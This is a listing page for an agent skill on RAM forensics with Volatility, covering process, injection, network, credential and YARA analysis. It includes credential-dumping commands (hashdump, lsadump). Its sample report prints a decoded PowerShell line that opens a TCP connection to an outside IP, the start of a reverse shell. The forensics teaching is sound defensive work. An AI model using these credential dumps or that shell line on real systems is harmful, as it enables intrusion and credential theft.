
Analyzing Memory Dumps
FreeForensically analyze RAM dumps with Volatility.
Free · Opens the source repo
What Analyzing Memory Dumps does
This skill provides a comprehensive solution for analyzing RAM memory dumps from compromised systems using the Volatility framework. It enables users to identify malicious processes, injected code, network connections, and even extract sensitive credentials from memory. Supporting Windows, Linux, and macOS, this skill is particularly useful for incident responders and cybersecurity professionals who need to perform memory forensics to detect and analyze malware that may not leave persistent traces on disk.
The workflow begins with identifying the memory dump profile, allowing users to determine the operating system and version from which the dump was taken. Users can then enumerate running processes to spot suspicious entries, leveraging various Volatility plugins to detect hidden processes and analyze process trees. This capability is critical for identifying rootkits and other stealthy malware that may be present in memory.
Next, the skill allows for the detection of malicious code injection and process hollowing, which are common techniques used by attackers to hide their activities. By analyzing network connections, users can extract information about active and closed connections to identify suspicious behavior. Additionally, the skill facilitates the extraction of sensitive artifacts, such as passwords and encryption keys, directly from memory, providing valuable insights into the compromised system.
Finally, users can apply YARA rules to scan memory for known malware signatures and generate timelines to compile their findings. This skill is essential for any cybersecurity professional tasked with responding to incidents involving memory-resident malware or conducting thorough forensic investigations on compromised systems.
When to use it
Use this skill when you have a memory dump from a compromised system and need to conduct forensic analysis for malware artifacts.
When not to use it
Do not use this skill for disk image analysis; it is not designed for that purpose and other tools like Autopsy or FTK should be used instead.
What you can build with it
Incident Response
Use this skill to analyze RAM dumps from compromised systems during incident response to identify malicious activity.
Malware Investigation
Employ this skill when investigating fileless malware that may not leave traces on disk.
Credential Recovery
Utilize this skill to extract sensitive information such as passwords and encryption keys from memory.
How to install Analyzing Memory Dumps
View source1. Install with the skills CLI
npx skills add mukul975/anthropic-cybersecurity-skills/analyzing-memory-dumps-with-volatility --agent claude-code2. Or install it manually
Download the skill folder and drop it into ~/.claude/skills/ for all projects, or .claude/skills/ to scope it to one repo. Restart Claude Code so it picks up the new skill.
Anthropic's agentic coding CLI, and the reference implementation of Agent Skills. Drop a skill folder into ~/.claude/skills and Claude Code loads it automatically whenever a task matches the skill's description. Claude Code docs
Inside SKILL.md
Written by mukul975Analyzing Memory Dumps with Volatility
When to Use
- A compromised system's RAM has been captured and needs forensic analysis for malware artifacts
- Detecting fileless malware that exists only in memory without persistent disk artifacts
- Extracting encryption keys, passwords, or decrypted configuration from process memory
- Identifying process injection, DLL injection, or process hollowing in a compromised system
- Analyzing rootkit activity that hides from standard disk-based forensic tools
Do not use for disk image analysis; use Autopsy, FTK, or Sleuth Kit for disk forensics.
Prerequisites
- Volatility 3 installed (
pip install volatility3) with symbol tables for target OS - Memory dump file acquired from the target system (using WinPmem, LiME, or DumpIt)
- Knowledge of the source OS version for correct profile/symbol selection
- Sufficient disk space (memory dumps can be 4-64 GB)
- YARA rules for scanning memory for known malware signatures
- Strings utility for extracting readable strings from memory regions
Workflow
Step 1: Identify the Memory Dump Profile
Determine the operating system and version from the memory dump:
# Volatility 3: Automatic OS detection
vol3 -f memory.dmp windows.info
# List available plugins
vol3 -f memory.dmp --help
# If symbols are needed, download from:
# https://downloads.volatilityfoundation.org/volatility3/symbols/
# For Volatility 2 (legacy):
vol2 -f memory.dmp imageinfo
vol2 -f memory.dmp kdbgscan
Step 2: Enumerate Running Processes
List all processes and identify suspicious entries:
# List all processes
vol3 -f memory.dmp windows.pslist
# Process tree (parent-child relationships)
vol3 -f memory.dmp windows.pstree
# Scan for hidden/unlinked processes (rootkit detection)
vol3 -f memory.dmp windows.psscan
# Compare pslist vs psscan to find hidden processes
# Processes in psscan but not pslist are potentially hidden by rootkits
# Check for process hollowing
vol3 -f memory.dmp windows.pslist --dump
# Then verify the dumped EXE matches the expected binary on disk
Suspicious Process Indicators:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- svchost.exe not spawned by services.exe (wrong parent)
- csrss.exe/lsass.exe with unusual parent process
- Multiple instances of lsass.exe (should be only one)
- Processes with misspelled names (scvhost.exe, lssas.exe)
- cmd.exe or powershell.exe spawned by WINWORD.EXE or browser
- Processes running from unusual paths (%TEMP%, %APPDATA%)
- Processes with no parent (orphaned - parent terminated)
Step 3: Detect Malicious Code Injection
Scan for injected code and process hollowing:
# Detect injected code in processes (malfind)
vol3 -f memory.dmp windows.malfind
# Malfind looks for:
# - Memory regions with PAGE_EXECUTE_READWRITE protection
# - Memory regions containing PE headers (MZ/PE signature)
# - VAD (Virtual Address Descriptor) anomalies
# Dump injected memory regions for analysis
vol3 -f memory.dmp windows.malfind --dump --pid 2184
# List loaded DLLs per process
vol3 -f memory.dmp windows.dlllist --pid 2184
# Detect hollowed processes by comparing mapped image to disk
vol3 -f memory.dmp windows.hollowfind
# Scan for loaded drivers (potential rootkit drivers)
vol3 -f memory.dmp windows.driverscan
# List kernel modules
vol3 -f memory.dmp windows.modules
Step 4: Analyze Network Connections
Extract active and closed network connections:
# List all network connections (active and listening)
vol3 -f memory.dmp windows.netscan
# Output columns: Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner
# Filter for established connections to external IPs
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED
# For older Windows (XP/2003):
vol3 -f memory.dmp windows.netstat
# Cross-reference PIDs with process list
# Suspicious: svchost.exe connected to external IP on non-standard port
# Suspicious: notepad.exe or calc.exe with network connections
Step 5: Extract Artifacts and Credentials
Recover sensitive data from memory:
# Dump process memory for a specific PID
vol3 -f memory.dmp windows.memmap --dump --pid 2184
# Extract command-line history
vol3 -f memory.dmp windows.cmdline
# Extract environment variables
vol3 -f memory.dmp windows.envars --pid 2184
# Registry analysis (extract Run keys for persistence)
vol3 -f memory.dmp windows.registry.printkey \
--key "Software\Microsoft\Windows\CurrentVersion\Run"
# Extract hashed/cached credentials
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.cachedump
vol3 -f memory.dmp windows.lsadump
# Extract clipboard contents
vol3 -f memory.dmp windows.clipboard
# File extraction from memory
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560
Step 6: Scan Memory with YARA Rules
Apply YARA signatures to detect known malware in memory:
# Scan entire memory dump with YARA rules
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar
# Scan specific process memory
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184
# Built-in YARA scan for common patterns
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"
# Scan for encryption key material
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"
Step 7: Timeline and Report Generation
Create an analysis timeline and compile findings:
# Generate comprehensive timeline
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv
# Timeline includes:
# - Process creation/exit times
# - Network connection timestamps
# - Registry modification times
# - File access times
# Export process list for reporting
vol3 -f memory.dmp windows.pslist --output csv > processes.csv
# Export network connections
vol3 -f memory.dmp windows.netscan --output csv > network.csv
Key Concepts
| Term | Definition |
|---|---|
| Memory Forensics | Analysis of volatile memory (RAM) contents to identify running processes, network connections, and in-memory artifacts that may not exist on disk |
| Process Hollowing | Malware technique of creating a legitimate process in suspended state, replacing its memory with malicious code, then resuming execution |
| Malfind | Volatility plugin detecting injected code by identifying memory regions with executable permissions and PE headers in non-image VADs |
| VAD (Virtual Address Descriptor) | Windows kernel structure tracking memory regions allocated to a process; anomalies in VADs indicate injection or hollowing |
| EPROCESS | Windows kernel structure representing a process; rootkits unlink EPROCESS entries to hide processes from standard tools |
| Pool Tag Scanning | Memory forensics technique scanning for kernel object pool tags to find objects (processes, files, connections) even when unlinked |
| Fileless Malware | Malware that operates entirely in memory without creating files on disk; only detectable through memory forensics |
Tools & Systems
- Volatility 3: Open-source memory forensics framework supporting Windows, Linux, and macOS memory analysis with plugin architecture
- WinPmem: Memory acquisition tool for Windows systems that creates raw memory dumps for offline analysis
- LiME (Linux Memory Extractor): Loadable kernel module for capturing Linux system memory dumps
- Rekall: Alternative memory forensics framework with some unique analysis capabilities (discontinued but still useful)
- MemProcFS: Memory process file system allowing mounting memory dumps as file systems for intuitive analysis
Common Scenarios
Scenario: Detecting Fileless Malware After EDR Alert
Context: EDR detected suspicious PowerShell activity but the threat actor cleaned up disk artifacts. A memory dump was captured before the system was rebooted. The analysis needs to identify the malware, its persistence mechanism, and any lateral movement.
Approach:
- Run
windows.pstreeto identify the process chain (which process spawned PowerShell) - Run
windows.malfindto detect injected code in running processes - Dump the suspicious process memory and extract strings for C2 URLs
- Run
windows.netscanto identify network connections from the compromised processes - Run
windows.cmdlineto see what commands PowerShell executed - Scan with YARA rules for known malware families in the dumped process memory
- Extract credentials with
hashdumpandlsadumpto assess lateral movement risk
Pitfalls:
- Using the wrong symbol tables for the OS version (causes plugin failures or incorrect results)
- Not comparing
pslistvspsscanoutput (missing rootkit-hidden processes) - Ignoring legitimate processes that have been injected into (focus on malfind results, not just process names)
- Not extracting full process memory before concluding analysis (strings from process dump may reveal additional IOCs)
Output Format
MEMORY FORENSICS ANALYSIS REPORT
===================================
Dump File: memory.dmp
Dump Size: 16 GB
OS Version: Windows 10 21H2 (Build 19044)
Capture Tool: WinPmem 4.0
Capture Time: 2025-09-15 14:35:00 UTC
SUSPICIOUS PROCESSES
PID PPID Name Path Anomaly
2184 1052 svchost.exe C:\Users\Admin\AppData\Temp\svchost.exe Wrong path
4012 2184 powershell.exe C:\Windows\System32\powershell.exe Child of fake svchost
3456 4012 cmd.exe C:\Windows\System32\cmd.exe Spawned by PowerShell
CODE INJECTION DETECTED (malfind)
PID 852 (explorer.exe):
Address: 0x00400000 Size: 98304 Protection: PAGE_EXECUTE_READWRITE
Header: MZ (embedded PE detected)
SHA-256 of dump: abc123def456...
NETWORK CONNECTIONS
PID Process Local Foreign State
2184 svchost.exe 10.1.5.42:49152 185.220.101.42:443 ESTABLISHED
4012 powershell.exe 10.1.5.42:49200 91.215.85.17:8080 ESTABLISHED
EXTRACTED CREDENTIALS
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
COMMAND LINE HISTORY
PID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
Decoded: $client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)
YARA MATCHES
PID 2184: rule CobaltStrike_Beacon { matched at 0x00401200 }
TIMELINE
14:10:00 svchost.exe (PID 2184) created from C:\Users\Admin\AppData\Temp\
14:10:05 Network connection to 185.220.101.42:443 established
14:12:30 powershell.exe (PID 4012) spawned by svchost.exe
14:15:00 Code injection into explorer.exe (PID 852) detected
14:20:00 Credential dump from LSASS process
Frequently asked questions about Analyzing Memory Dumps
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